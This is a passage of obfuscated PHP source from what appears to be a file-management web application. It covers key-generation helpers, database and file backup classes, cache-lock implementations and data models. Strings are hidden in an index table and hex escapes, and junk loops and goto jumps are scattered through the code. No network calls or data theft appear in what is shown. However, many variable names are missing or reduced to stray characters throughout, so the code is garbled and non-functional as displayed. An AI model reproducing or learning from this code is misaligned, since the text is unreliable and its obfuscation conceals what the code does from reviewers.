($ - 1 > 0) { $߈ = $this->cbxk4ff5088f($߈, $ރ, $ - 1); } return $߈; } public function vksyaeebe931($) { $١ =& $_SERVER[譃]; $铚 =& $_SERVER[]; $ = $this->rmba0da971d1(); $ = $١[729]; $ʖ = $this->rmba0da971d1(); $Ŋ = ($ - 1) * ($ʖ - 1); $њܳ = intval(($ + $ʖ) / 2); $ = $١[730]; if (!$) { return; } while (1) { $ = $њܳ; $Λ = $١[731]; $° = $Ŋ; while ($° % $ != 0) { $ = $°; $° = $; $ = $ % $; } if ($ == 1) { break; } else { $њܳ++; } } $ = 2; $߇ = $١[732]; while ($߇ < $١[617]) { if ($߇ >= 0) { break; } $߇++; } for ($ڃ = 0; $ڃ < $Ŋ * 10; $ڃ++) { if (($Ŋ * $ڃ + 1) % $њܳ == 0) { $ = intval(($Ŋ * $ڃ + 1) / $њܳ); break; } } $݈ø = $this->arwd193e93c4($ * $ʖ . $铚[6], $铚[133]); $۱ = $١[733]; if (strlen($۱) < $١[617]) { die; } $ = md5($铚[297] . ($ + $ʖ) . $铚[298] . $њܳ . $铚[298] . $ . $铚[299]); $̩ = $this->arwd193e93c4($, $) . $铚[300] . $݈ø; $ = $١[734]; if (strlen($) < $١[627]) { return; } return $̩; $ = $١[735]; if (strlen($) < $١[617]) { die; } } public function dibv8c6a0102($ż) { $ =& $_SERVER[譃]; $ٰ =& $_SERVER[]; $Ö = explode($ٰ[300], $ż); if (count($Ö) != 2) { return $ٰ[6]; } $ = $this->grbz959d47b2($Ö[1] . $ٰ[6], $ٰ[133]); $¨ = $[736]; if (!$¨) { return; } if (!$) { return $ٰ[6]; } $ = intval($); $מ = 0; $ = 0; $퀓 = $[699]; while ($퀓 < $[613]) { if ($퀓 >= 0) { break; } $퀓++; } for ($ٵ = 3; $ٵ < $; $ٵ += 2) { if ($ % $ٵ != 0) { continue; } $מ = $ٵ; $ = intval($ / $ٵ); break; $ = $[659]; if (!$) { die; } } $ۂ = ($מ - 1) * ($ - 1); $δ = intval(($מ + $) / 2); while (1) { $ = $δ; $ζ = $ۂ; $ǂ = $[737]; if (strlen($ǂ) < $[627]) { return; } while ($ζ % $ != 0) { $ = $ζ; $ζ = $; $ = $[738]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } $ = $ % $; } if ($ == 1) { break; } else { $δ++; } } $ط = 2; for ($ٵ = 0; $ٵ < $ۂ * 10; $ٵ++) { if (($ۂ * $ٵ + 1) % $δ == 0) { $ط = intval(($ۂ * $ٵ + 1) / $δ); break; } } $ = md5($ٰ[297] . ($מ + $) . $ٰ[298] . $δ . $ٰ[298] . $ط . $ٰ[299]); $ = $[739]; if (strlen($) < $[606]) { return; } $ư = $this->grbz959d47b2($Ö[0], $); return $ư; $ = $[740]; while ($ < $[606]) { if ($ >= 0) { break; } $++; } } public function rmba0da971d1() { $Ć =& $_SERVER[譃]; $ѱ = mt_rand(pow(2, 14), pow(2, 16) - 1); $Íܻ = array(); $Ҙ = $Ć[741]; $ = 1; $Ү = $Ć[742]; while (strlen($Ү) < $Ć[627]) { if (!$Ү) { break; } $Ү++; } while ($ <= (int) sqrt($ѱ)) { $ = $; while (!0) { $++; if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ڳ = 2; $ڳ <= sqrt($); $ڳ++) { if ($ % $ڳ == 0) { $ = !1; } } if ($) { $ = $; break; } } $Íܻ[] = $; $ = $Ć[665]; } $ܴ = 2; for ($ = $ѱ; $ > 1; $--) { $ = !0; $܌ = $Ć[743]; while (strlen($܌) < $Ć[613]) { if (!$܌) { break; } $܌++; } foreach ($Íܻ as $ė) { if ($ % $ė == 0) { $ = !1; break; } } if ($) { $ܴ = $; break; } } return $ܴ; $ = $Ć[744]; while (strlen($) < $Ć[627]) { if (!$) { break; } $++; } } public function yenf8d3d015a($, $) { $˽셒 =& $_SERVER[譃]; $Ĉ״ =& $_SERVER[]; return call_user_func(array($Ĉ״[8], $Ĉ״[301]), $, $); $ = $˽셒[745]; while ($ < $˽셒[620]) { if ($ >= 0) { break; } $++; } } public function arwd193e93c4($, $) { $ޗ =& $_SERVER[]; return call_user_func(array($ޗ[302], $ޗ[303]), $, $); } public function grbz959d47b2($, $䉶) { $㧭 =& $_SERVER[]; return call_user_func(array($㧭[302], $㧭[304]), $, $䉶); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[譃]; $this->isManual(); self::$name = date($[746]); if (!($佃 = Model($[747])->lastItem())) { $佃 = $this->initData(); } else { self::$name = $佃[$[32]]; if ($佃[$[748]] == $[89]) { self::$name = date($[749]); $ = 0; if (isset($佃[$[292]][$[196]][$[463]])) { $ = (int) $佃[$[292]][$[196]][$[463]]; } if (self::$manual == 0 && $佃[$[32]] == self::$name) { Model($[747])->remove($佃[$[396]]); } $佃 = $this->initData($, $佃[$[750]]); } else { $this->checkStore($佃[$[750]]); } } self::$option = $佃; } private function isManual() { $ = _get($GLOBALS, $_SERVER[譃][751], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($݇ = 0, $ = '') { $¼ =& $_SERVER[譃]; $ = Model($¼[747])->config(); if ($ && $[$¼[750]] != $) { $݇ = 0; } $this->checkStore($[$¼[750]]); if (self::$manual == 1) { self::$name .= $¼[11] . date($¼[752]); } $Ʊ் = array($¼[750] => $[$¼[750]], $¼[32] => self::$name, $¼[748] => 0, $¼[753] => $[$¼[753]], $¼[754] => self::$manual, $¼[292] => array($¼[755] => array($¼[748] => 0), $¼[756] => array($¼[748] => 0, $¼[757] => 0, $¼[758] => 0, $¼[33] => $¼[12], $¼[759] => 0, $¼[492] => 0), $¼[760] => array($¼[748] => 0, $¼[757] => 0, $¼[758] => 0, $¼[759] => 0, $¼[492] => 0), $¼[196] => array($¼[748] => 0, $¼[761] => 0, $¼[762] => 0, $¼[763] => 0, $¼[764] => 0, $¼[463] => $݇, $¼[759] => 0, $¼[492] => 0)), $¼[759] => time(), $¼[492] => 0); $۹ = Model($¼[747])->insert($Ʊ்); $Ʊ்[$¼[396]] = $۹; return $Ʊ்; } private function checkStore($) { $ܥ =& $_SERVER[譃]; $ = Model($ܥ[765])->listData($); Model($ܥ[765])->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[譃][747])->findByName(self::$name); } return self::$option; } public static function set($) { $ =& $_SERVER[譃]; $ = self::get(); foreach ($ as $ԓ => $) { $ = explode($[10], $ԓ); $ = count($); switch ($) { case 1: $[$[0]] = $; break; case 2: $[$[0]][$[1]] = $; break; case 3: $[$[0]][$[1]][$[2]] = $; break; } } Model($[747])->update($[$[396]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[譃]; $Ҙ̡ = self::get(); if ($Ҙ̡[$[292]][$[755]][$[748]] == $[89]) { return; } $this->backupKeep($Ҙ̡); self::set(array($[766] => 1)); } private function backupKeep($¥뢜) { $궅 =& $_SERVER[譃]; if (self::$manual == 1) { return; } $Ɠ = Model($궅[747])->listData(); if (empty($Ɠ)) { return; } $Ц = 0; $ = array(); foreach ($Ɠ as $) { if ($Ц >= 7) { break; } $[] = $[$궅[32]]; $Ц++; } for ($Ц = 0; $Ц < 12; $Ц++) { $[] = date($궅[767], strtotime("\x2d{$Ц}\40\x6d\157\x6e\164\x68\163")); } $ = array_unique($); $ = Model($궅[768])->get($궅[769]); foreach ($Ɠ as $) { if (isset($[$궅[754]]) && $[$궅[754]] == $궅[89]) { continue; } if (!empty($[$궅[32]]) && in_array($[$궅[32]], $)) { continue; } Model($궅[747])->remove($[$궅[396]]); $篐拡 = $this->backupPath($¥뢜, $); IO::remove($篐拡, !1); } } private function backupPath($ϗ, $槢 = false) { $ =& $_SERVER[譃]; if (!$槢) { $槢 = Model($[768])->get($[769]); } $ߍ = $ϗ[$[32]]; $ = substr(md5($[770] . $槢 . $ߍ), 0, 8); return "\x7b\151\x6f\72{$ϗ[$[750]]}\175\x2f\x64\141\164\141\x62\141\163\145\57\x62\x61\x63\x6b\165\x70\57" . $ߍ . $[11] . $; } public function db() { $ =& $_SERVER[譃]; $˗ = self::get(); if ($˗[$[292]][$[756]][$[748]] == $[89]) { return !0; } $Χ = new BackupDb(); if (!$Χ->index()) { return !1; } self::set(array($[771] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[譃]; $ݴ = self::get(); if ($ݴ[$[292]][$[760]][$[748]] == $[89]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[772] => 1)); return !0; } public function file() { $֨ =& $_SERVER[譃]; $ = self::get(); if ($[$֨[292]][$֨[196]][$֨[748]] == $֨[89]) { return !0; } if (!isset($[$֨[753]]) || $[$֨[753]] == $֨[194]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($֨[773] => 1, $֨[748] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $Ҧѫ =& $_SERVER[譃]; $꜈ = Backup::get(); self::$io = $꜈[$Ҧѫ[750]]; self::$name = $꜈[$Ҧѫ[32]]; $Ĺ = new DbManage(); $ = $Ĺ->dbType(); $ȅ = array($Ҧѫ[774] => $, $Ҧѫ[775] => time()); Backup::set($ȅ); $椫 = $this->tmpFilesPath() . $Ҧѫ[776] . self::$name . $Ҧѫ[8]; del_dir($椫); mk_dir($椫); $ݹ = $盉 = 0; $䌷 = new Task($Ҧѫ[777], $Ҧѫ[778], 0, LNG($Ҧѫ[779]) . $Ҧѫ[780] . LNG($Ҧѫ[781])); try { $ = $Ĺ->db()->getTables(); } catch (Exception $̀) { $䌷->end(); return !1; } $ = array_diff($, array($Ҧѫ[782], $Ҧѫ[783])); foreach ($ as $ئ) { $ݹ += $Ĺ->model($ئ)->count(); } $䌷->task[$Ҧѫ[784]] = $ݹ; $GLOBALS[$Ҧѫ[785]] = self::$name; foreach ($ as $ئ) { $쏋 = $椫 . $ئ . $Ҧѫ[786]; $ = null; if ($ئ == $Ҧѫ[787] && (!isset($꜈[$Ҧѫ[753]]) || $꜈[$Ҧѫ[753]] == $Ҧѫ[194])) { $ = self::$io; } $盉 += $Ĺ->sqlFromDb($ئ, $쏋, $䌷, $); } unset($GLOBALS[$Ҧѫ[785]]); $䌷->end(); if ($盉 > $ݹ) { $ݹ = $盉; } $ȅ = array($Ҧѫ[774] => $, $Ҧѫ[771] => 1, $Ҧѫ[788] => $ݹ, $Ҧѫ[789] => $盉, $Ҧѫ[790] => time()); Backup::set($ȅ); if ($ݹ - $盉 > 0) { $Ԯ = $Ҧѫ[791]; if (stristr(I18n::getType(), $Ҧѫ[792])) { $Ԯ = $Ҧѫ[793]; } write_log(array($Ԯ, $ȅ), $Ҧѫ[778]); return !1; } return !0; } private function tmpFilesPath() { $樢 =& $_SERVER[譃]; $ˡ = TEMP_FILES; if ($GLOBALS[$樢[6]][$樢[90]][$樢[794]]) { $ˡ = $GLOBALS[$樢[6]][$樢[90]][$樢[794]]; if (!mk_dir($ˡ) || !is_writable($ˡ) || !IO::mkfile($ˡ . $樢[795])) { $ˡ = TEMP_FILES; } } return $ˡ; } } goto Cܤؚ; Fӿ⛝: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[譃]; $ = $GLOBALS[$[6]][$[348]]; self::$cachePath = $[$[196]][$[78]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ᾀ = 0) { $А =& $_SERVER[譃]; $ҋ = microtime(!0); $ʷ = $ҋ + $ᾀ + 0.0001; $ = rtrim(self::$cachePath, $А[8]) . $А[857] . md5($) . $А[854]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $뫊 = fopen($, $А[858]); if (!$뫊) { return !1; } $ȍψ = flock($뫊, LOCK_EX | LOCK_NB); self::$caches[$] = array($А[859] => $뫊, $А[196] => $); fwrite($뫊, $ʷ); clearstatcache(); if ($뫊 && $ȍψ) { return !0; } cacheLockWait(); } while (microtime(!0) < $ʷ); $this->unlock($); return !1; } public function lockGet($) { $샇 =& $_SERVER[譃]; $֑ = rtrim(self::$cachePath, $샇[8]) . $샇[857] . md5($) . $샇[854]; return file_exists($֑); } public function unlock($ɑ) { $٠ =& $_SERVER[譃]; $ݺ = self::$caches[$ɑ]; if (!$ݺ) { return; } @flock($ݺ[$٠[859]], LOCK_UN); @fclose($ݺ[$٠[859]]); @unlink($ݺ[$٠[196]]); unset(self::$caches[$ɑ]); } } class CacheLockRedis { public function lock($ÿ, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $̖ = $->get($ÿ); if (!$̖) { $ = $->setLock($ÿ, $, $); if ($) { return !0; } } else { if ($̖ < microtime(!0)) { $->set($ÿ, $, $ * 2); if ($->get($ÿ) === $̖) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($τ) { return Cache::init()->get($τ); } public function unlock($ʨ) { return Cache::init()->remove($ʨ); } } class CacheLockMemcached { public function lock($, $մ = 0) { $쒹 = Cache::init(); $ = microtime(!0) + $մ; while (microtime(!0) < $) { $͞ㇵ = $쒹->get($); if (!$͞ㇵ || $͞ㇵ < microtime(!0)) { $ٳ = $쒹->handle->add($, $, $մ); if ($ٳ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Α) { return Cache::init()->get($Α); } public function unlock($) { return Cache::init()->remove($); } } goto Fͫ; D暙ל: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $Ӛ = '', $ = false) { $ =& $_SERVER[譃]; $ = $this->cacheGet($Ӛ); $ = $this->optionDefault($Ӛ); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $Ӛ)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[95], $[373]); foreach ($ as $dz => $ſ) { if ($ || in_array($dz, $this->jsonField)) { $[$dz] = json_decode($ſ, !0); } } $this->cacheSet($Ӛ, $); $ = array_merge($, $); return $ ? $[$] : $; } public function set($щĻ, $ = false, $Ʌٸ = '') { $ǒ =& $_SERVER[譃]; $this->cacheRemove($Ʌٸ); $Ŀ = array(); $˱ = is_array($щĻ) ? $щĻ : array($щĻ => $); foreach ($˱ as $ => $䮾) { if (is_array($䮾)) { $䮾 = json_encode_force($䮾); } $this->checkLength($䮾, !1, $this->tableName . $ǒ[4] . $щĻ); $䮾 = self::textEncode($䮾); $˱ = array($ǒ[33] => $Ʌٸ, $ǒ[95] => $, $ǒ[373] => $䮾); $Ŀ[] = $this->filterWhere($˱); } if (!$Ŀ) { return !0; } $ = $this->cacheKey($ǒ[397]); CacheLock::lock($); $ֻ = $this->addAll($Ŀ, array(), !0); CacheLock::unlock($); return $ֻ; } protected function optionDefault($ = '') { return !1; } public function setDeep($ͅ, $ = false, $Ѽ = '') { $ = explode($_SERVER[譃][10], $ͅ); $߬ = $this->get(); array_set_value($߬, $ͅ, $); $this->set($[0], $߬[$[0]], $Ѽ); } public function remove($ݭ, $˗ = '') { $ =& $_SERVER[譃]; $this->cacheRemove($˗); $֟ = $this->filterWhere(array($[95] => $ݭ, $[33] => $˗)); if (is_null($ݭ)) { unset($֟[$[95]]); } return $this->where($֟)->delete(); } public function cacheSet($膡, $ = false) { return Cache::set($this->cacheKey($膡), $); } public function cacheGet($ײ̓) { return Cache::get($this->cacheKey($ײ̓)); } public function cacheRemove($Ɖ) { return Cache::remove($this->cacheKey($Ɖ)); } protected function filterWhere($єش) { return $єش; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\163\157\x75\x72\x63\x65"; protected $tableMeta = array("\164\141\x62\154\145\116\141\155\x65" => "\151\x6f\x5f\x73\157\x75\x72\x63\x65\137\x6d\145\164\x61", "\155\x65\x74\141\x46\151\x65\154\x64" => "\x73\157\x75\x72\143\x65\111\104"); protected $dataAuto = array(array("\155\x6f\x64\x69\146\x79\x54\151\155\x65", "\164\151\155\x65", "\x69\156\x73\145\162\x74", "\146\165\x6e\143\164\151\157\156"), array("\143\162\x65\x61\164\145\124\151\x6d\145", "\164\151\155\x65", "\x69\x6e\x73\x65\x72\x74", "\x66\x75\156\143\164\x69\157\156"), array("\166\x69\145\x77\124\x69\x6d\145", "\x74\x69\x6d\145", "\x69\156\x73\145\x72\x74", "\146\x75\156\x63\x74\x69\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[譃][398] => $)); } public function typeName($Б) { static $ = array(self::TYPE_SYSTEM => "\x73\x79\x73\164\145\155", self::TYPE_USER => "\x75\x73\145\162", self::TYPE_GROUP => "\x67\162\157\x75\x70"); return $[$Б . $_SERVER[譃][12]]; } public function sourceListInfo($ֺϴ, $ = false) { $☶ =& $_SERVER[譃]; $ֺϴ = $ֺϴ ? $ֺϴ : array(); $ֺϴ = array_filter(array_unique($ֺϴ)); if (!$ֺϴ) { return array(); } $ = $this->where(array($☶[399] => array($☶[7], $ֺϴ)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $☶[399]); } public function pathInfoFilter(&$ز) { $ķ =& $_SERVER[譃]; static $ݪ = false; static $ = false; static $ݵ = false; if (!$ݪ) { $ = $ķ[400]; $ .= $ķ[401]; $ .= $ķ[402]; $ٗ = $ķ[403]; $، = explode($ķ[50], $ٗ); $ݪ = explode($ķ[50], $); $ = array(); foreach ($ݪ as $) { if (in_array($, $،)) { continue; } $[] = $; } $ݵ = explode($ķ[50], $ķ[404]); } foreach ($ݵ as $원) { if (isset($ز[$원])) { $ز[$원] = intval($ز[$원]); } } $ز[$ķ[78]] = $ķ[405] . $ز[$ķ[399]] . $ķ[406]; $ز[$ķ[33]] = $ز[$ķ[407]] == 1 ? $ķ[79] : $ķ[196]; $ز[$ķ[408]] = $this->typeName($ز[$ķ[408]]); if ($ز[$ķ[407]] != 1) { $ز[$ķ[171]] = $ز[$ķ[409]]; unset($ز[$ķ[409]]); } $ȥ = $ݪ; if (isset($ز[$ķ[410]]) && $ز[$ķ[410]][$ķ[411]] == -1) { $ȥ = $; } $ز = array_field_key($ز, $ȥ); return $ز; } public function listUserFav() { $ =& $_SERVER[譃]; $ɸ = Model($[412])->listData(); $̮ = array_filter_by_field($ɸ, $[33], $[413]); $̮ = array_to_keyvalue($̮, $[12], $[78]); if ($̮) { $Ѕ = $this->listSource(array($[414] => array($[415], $̮))); } $Ѕ = array_to_keyvalue($Ѕ[$[368]], $[399]); foreach ($ɸ as &$) { $ = array($[416] => $[$[396]], $[417] => $[$[32]], $[418] => $[$[78]], $[419] => $[$[33]], $[420] => $[$[197]], $[421] => $[$[86]]); if ($[$[33]] == $[413] && $Ѕ[$[$[78]]]) { $[$[87]] = $Ѕ[$[$[78]]]; } } unset($); return $ɸ; } public function listUserTag($) { $ņ =& $_SERVER[譃]; if ($ && !is_array($)) { $ = array($); } $ӱƇ = Model($ņ[422])->listData(); $ߨ = array(); foreach ($ӱƇ as $) { $ь = $[$ņ[78]]; if (!$ь) { continue; } if (!isset($ߨ[$ь])) { $ߨ[$ь] = array(); } $ߨ[$ь][] = $[$ņ[423]]; } $ų = array(); foreach ($ߨ as $ލʈƙ => $ݺ) { $ƥ = !0; if (!$) { $ų[] = $ލʈƙ; continue; } foreach ($ as $) { if (!in_array($, $ݺ)) { $ƥ = !1; break; } } if ($ƥ) { $ų[] = $ލʈƙ; } } if (!$ų) { return array(); } $ܽŏ = $this->listSource(array($ņ[414] => array($ņ[415], $ų))); if (!$ܽŏ || count($ų) == $ܽŏ[$ņ[365]][$ņ[366]]) { return $ܽŏ; } $ = array(); $ = array_to_keyvalue($ܽŏ[$ņ[77]], $ņ[12], $ņ[399]); $䓑 = array_to_keyvalue($ܽŏ[$ņ[76]], $ņ[12], $ņ[399]); $ = array_merge($䓑, $); foreach ($ų as $ь) { if (!in_array($ь, $)) { $[] = $ь; } } if ($) { Model($ņ[424])->removeBySource($); } return $ܽŏ; } public function listUserRecycle() { $ =& $_SERVER[譃]; $ = Model($[425])->listData(); if (!$) { return array(); } $ = array($[414] => array($[415], $), $[426] => 1); return $this->listSource($); } public function listSource($ŕ, $孯 = 3000, $߱ = false) { $ =& $_SERVER[譃]; if (!isset($ŕ[$[427]])) { $ŕ[$[427]] = 0; } $禞 = $[428]; $ = $this->field($禞)->_makeOrder()->where($ŕ)->selectPage($孯); $this->_listPageCheck($, $禞, $ŕ); $this->_listDataApply($[$[368]], $߱); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[譃]; if (!is_array($[$[365]])) { return; } $ = $[$[365]]; if ($[$[367]] <= 1) { return; } if ($[$[366]] >= 100000) { return; } if (Model($[429])->get($[430]) != $[431]) { return; } $ = str_replace(array($[53], $[341], $[230]), $[12], $); $ = $[432] . str_replace($[50], $[433], $) . $[434]; $䋯 = $[435]; $䋯 = $䋯 . $[436]; $̅ = $[$[362]] * ($[$[352]] - 1) . $[50] . $[$[362]]; $ = $this->_makeOrder(!0); $ = $[432] . str_replace($[50], $[433], $[0]); if (strpos($, $[437])) { $ = str_replace($[437], $[438], $); } else { $ .= $[439] . $[1]; } $Џ = array(); foreach ($ as $ߖѤ => $꼘) { $Џ[$[432] . $ߖѤ] = $꼘; } $this->alias($[440])->field($)->limit($̅)->order($); $ = $this->join($䋯)->where($Џ)->select(); if ($) { $[$[368]] = $; } } protected function _makeOrder($ܪ = false) { $ܣݞ =& $_SERVER[譃]; $呟 = Model($ܣݞ[441])->get($ܣݞ[442]); $ = Model($ܣݞ[441])->get($ܣݞ[443]); $۞ = array($ܣݞ[444] => $ܣݞ[445], $ܣݞ[446] => $ܣݞ[447]); $տ = array($ܣݞ[32] => $ܣݞ[32], $ܣݞ[80] => $ܣݞ[80], $ܣݞ[171] => $ܣݞ[409], $ܣݞ[448] => $ܣݞ[448], $ܣݞ[449] => $ܣݞ[450], $ܣݞ[197] => $ܣݞ[197], $ܣݞ[86] => $ܣݞ[86]); $ۋ = Input::get($ܣݞ[451], $ܣݞ[7], $呟, array_keys($տ)); $ = Input::get($ܣݞ[452], $ܣݞ[7], $, array_keys($۞)); if (!in_array($ۋ, array_keys($տ))) { $ۋ = $ܣݞ[32]; } if (!in_array($, array_keys($۞))) { $ۋ = $ܣݞ[444]; } if ($ۋ == $ܣݞ[32]) { } $dz = $ܣݞ[453] . $տ[$ۋ] . $ܣݞ[53] . $۞[$]; $dz = rtrim(trim($dz), $ܣݞ[50]); if ($ܪ) { return array($dz, $۞[$]); } return $this->order($dz); } protected function _listDataApplyItem($ᢒ, $ = false) { $ = array($ᢒ); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$䝁, $ԋآ = false) { $ =& $_SERVER[譃]; if (!$䝁) { $䝁 = array(); return; } $ܸ = array_to_keyvalue($䝁, $[12], $[399]); $ܸ = array_unique($ܸ); $this->_listSourceCache($䝁); if (!$ԋآ) { $this->_listAppendMeta($䝁, $ܸ); $this->_listAppendFileMeta($䝁, $ܸ); $this->_listAppendChildren($䝁, $ܸ); } $this->_listAppendPath($䝁); $this->_listAppendAuth($䝁); $this->_listAppendSourceInfo($䝁, $ܸ); $this->_listAppendUser($䝁); $this->_listFilterInfo($䝁, $ԋآ); $this->_listAppendAuthSecret($䝁); } protected function _listSourceCache($Đ) { $Ҡ̪ =& $_SERVER[譃]; foreach ($Đ as $؆) { self::$cacheSourceInfo[$Ҡ̪[454] . $؆[$Ҡ̪[399]]] = $؆; } } protected function _listFilterInfo(&$Ƭ, $ɔ = false) { $ =& $_SERVER[譃]; foreach ($Ƭ as &$ưݍ) { $ưݍ = $this->pathInfoFilter($ưݍ); self::$cachePathInfo[$[455] . intval($ɔ) . $[456] . $ưݍ[$[399]]] = $ưݍ; } unset($ưݍ); } protected function _listMake(&$) { $ =& $_SERVER[譃]; $[$[77]] = array(); $[$[76]] = array(); foreach ($[$[368]] as $ʵ) { $ߕĤ = $ʵ[$[407]] == 1 ? $[77] : $[76]; $[$ߕĤ][] = $ʵ; } unset($[$[368]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[譃]; $و = array($[414] => array($[415], $)); $˦ = Model($[457])->field($[458])->where($و)->select(); if (!$˦) { return; } $ = array($[459], $[460], $[438]); $݁ = array(); foreach ($˦ as $) { if (!isset($݁[$[$[399]]])) { $݁[$[$[399]]] = array(); } if (in_array($[$[95]], $)) { continue; } $݁[$[$[399]]][$[$[95]]] = $[$[373]]; } foreach ($ as &$) { $[$[461]] = !1; if (isset($݁[$[$[399]]])) { $[$[461]] = $݁[$[$[399]]]; } if ($this->fileIsLock($) && $[$[410]]) { $χ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[410]][$[411]] = AuthModel::authDisable($[$[410]][$[411]], $χ); $[$[410]][$[462]][$[410]] = $[$[410]][$[411]]; } } unset($); } protected function _listAppendFileMeta(&$Ԧء, $뒪) { $Ąǀ =& $_SERVER[譃]; $ = array_to_keyvalue($Ԧء, $Ąǀ[12], $Ąǀ[463]); $ = array_filter(array_unique($)); if (!$) { return; } $ۂ = array($Ąǀ[464] => array($Ąǀ[415], $)); $ʮ = $Ąǀ[465]; $瑹 = Model($Ąǀ[466])->field($ʮ)->where($ۂ)->select(); $瑹 = array_to_keyvalue($瑹, $Ąǀ[463]); $ = Model($Ąǀ[467])->field($Ąǀ[468])->where($ۂ)->select(); $ = $ ? $ : array(); $ڇ = array(); foreach ($ as $) { if (!isset($ڇ[$[$Ąǀ[463]]])) { $ڇ[$[$Ąǀ[463]]] = array(); } $ڇ[$[$Ąǀ[463]]][$[$Ąǀ[95]]] = $[$Ąǀ[373]]; } foreach ($Ԧء as &$) { $ = $[$Ąǀ[463]]; if (!$ || !is_array($瑹[$])) { continue; } $椂 = $瑹[$]; $椂[$Ąǀ[80]] = $[$Ąǀ[80]]; $椂[$Ąǀ[32]] = $[$Ąǀ[32]]; if (!isset(self::$cacheFileInfo[$Ąǀ[469] . $])) { self::$cacheFileInfo[$Ąǀ[469] . $] = array_merge(array(), $椂); } unset($瑹[$][$Ąǀ[78]]); $Ꮃ = is_array($ڇ[$]) ? $ڇ[$] : array(); $[$Ąǀ[167]] = array_merge($Ꮃ, $瑹[$]); if (isset($[$Ąǀ[167]][$Ąǀ[166]])) { $[$Ąǀ[166]] = json_decode($[$Ąǀ[167]][$Ąǀ[166]], !0); unset($[$Ąǀ[167]][$Ąǀ[166]]); } } unset($); } protected function _listAppendSourceInfo(&$̟, $) { $ =& $_SERVER[譃]; if (!defined($[470])) { return; } $㹢 = Model($[471])->listData(); $ = Model($[422])->listData(); $ = Model($[412])->listData(); $ѧ = Model($[472])->listSimple(); $œ = array_to_keyvalue($㹢, $[396]); $ȿ = array_to_keyvalue_group($, $[78], $[423]); $ = array_to_keyvalue($, $[78]); $ހ = array_to_keyvalue_group($ѧ, $[399]); foreach ($̟ as &$) { $[$[87]] = array($[473] => 0, $[474] => 0, $[475] => 0); if (isset($[$[$[399]]])) { $[$[87]][$[476]] = 1; $[$[87]][$[477]] = $[$[$[399]]][$[32]]; } if (isset($ȿ[$[$[399]]])) { $[$[87]][$[478]] = array(); foreach ($ȿ[$[$[399]]] as $ܪ) { $ۋ = $œ[$ܪ]; $[$[87]][$[478]][] = array($[479] => $ۋ[$[396]], $[417] => $ۋ[$[32]], $[480] => $ۋ[$[481]]); } } if (isset($ހ[$[$[399]]])) { $[$[87]][$[482]] = array(); foreach ($ހ[$[$[399]]] as $Ց) { $[$[87]][$[482]] = array($[483] => $Ց[$[484]], $[485] => $Ց[$[486]], $[487] => $Ց[$[399]], $[488] => $Ց[$[489]], $[490] => $Ց[$[491]], $[492] => $Ց[$[492]], $[493] => $Ց[$[493]]); } } } unset($); return $̟; } protected function _listAppendChildren(&$㡣, $܉) { $Лǰ =& $_SERVER[譃]; $ټ = array(); $ƕ = array($Лǰ[206] => 0, $Лǰ[207] => 0); foreach ($㡣 as &$㑸) { if (!$㑸[$Лǰ[407]]) { continue; } $ټ[] = $㑸[$Лǰ[399]]; } unset($㑸); if (!$ټ) { return; } $ͮ = array($Лǰ[494] => array($Лǰ[7], $ټ)); $˜ = array($Лǰ[494], $Лǰ[407], $Лǰ[495] => $Лǰ[496]); $ˬ = $this->field($˜)->where($ͮ)->group($Лǰ[497])->select(); $ = array(); foreach ($ˬ as $Ʋ) { $ɚ = $Ʋ[$Лǰ[494]]; $ = $Ʋ[$Лǰ[407]] == $Лǰ[89] ? $Лǰ[207] : $Лǰ[206]; if (!isset($[$ɚ])) { $[$ɚ] = array($Лǰ[206] => 0, $Лǰ[207] => 0); } $[$ɚ][$] += $Ʋ[$Лǰ[496]]; } foreach ($㡣 as &$㑸) { if (!$㑸[$Лǰ[407]]) { continue; } $۹ = is_array($[$㑸[$Лǰ[399]]]) ? $[$㑸[$Лǰ[399]]] : $ƕ; $㑸[$Лǰ[207]] = $۹[$Лǰ[207]]; $㑸[$Лǰ[206]] = $۹[$Лǰ[206]]; unset($㑸[$Лǰ[409]]); } unset($㑸); } protected function _listAppendAuth(&$) { $藅 =& $_SERVER[譃]; if (!defined($藅[470])) { return; } $ = array(); foreach ($ as $Á) { if ($Á[$藅[408]] == self::TYPE_GROUP) { $[] = $Á[$藅[399]]; } } if (!$) { return; } $ԇ؎ = array_to_keyvalue($, $藅[399]); $ = Model($藅[498])->getSourceList($, $ԇ؎); $ = $GLOBALS[$藅[499]] == 1; foreach ($ as $ => &$Á) { $Á[$藅[410]] = 